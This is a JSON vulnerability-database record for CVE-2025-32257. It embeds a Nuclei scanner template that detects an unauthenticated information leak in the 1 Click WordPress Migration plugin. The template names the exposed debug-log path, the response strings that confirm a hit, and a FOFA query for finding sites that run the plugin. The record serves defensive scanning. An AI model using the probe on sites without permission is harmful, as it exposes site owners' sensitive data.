{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-32257/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-32257/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-32257/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-32257/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-32257/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-32257"},"sightings":{"href":"/api/v1/sightings/cve-2025-32257"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-32257.yaml","nuclei_template_severity":"medium","nuclei_template_yaml":"id: CVE-2025-32257\ninfo:\n  name: 1 Click WordPress Migration <= 2.2 - Unauthenticated Information Disclsoure\n  author: pussycat0x\n  severity: medium\n  description: |\n    1 Click WordPress Migration <= 2.2 contains an information disclosure caused by uncleared debug information, letting attackers retrieve embedded sensitive data, exploit requires no specific privileges.\n  impact:\n    Attackers can access sensitive embedded data, potentially leading to information disclosure and further exploitation.\n  remediation:\n    Remove debug information and update to the latest version of 1 Click WordPress Migration.\n  reference:\n    https://wpscan.com/vulnerability/03211216-8cc9-49f9-83da-9fbc57554816/\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: body=\"/wp-content/plugins/1-click-migration/\"\n    vendor: 1-click-migration\n    product: 1-click-migration\n    framework: wordpress\n  tags: cve,cve2025,wpscan,wordpress,wp-plugin,1clickmigration,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/1-click-migration/ocm_debug.log\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"debug log content\",\"SYSLOG\",\"Archiving plugins\")'\n        condition: and\n# digest: 4a0a00473045022100edfde4922d9c3b11dc19af7f5550dc3a79128a856f24c9d9129594728e32e223022038f949c5175bc53a89274110b1b735e7505c61343fb09f3195dbbda61d12fbd7:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-32257"}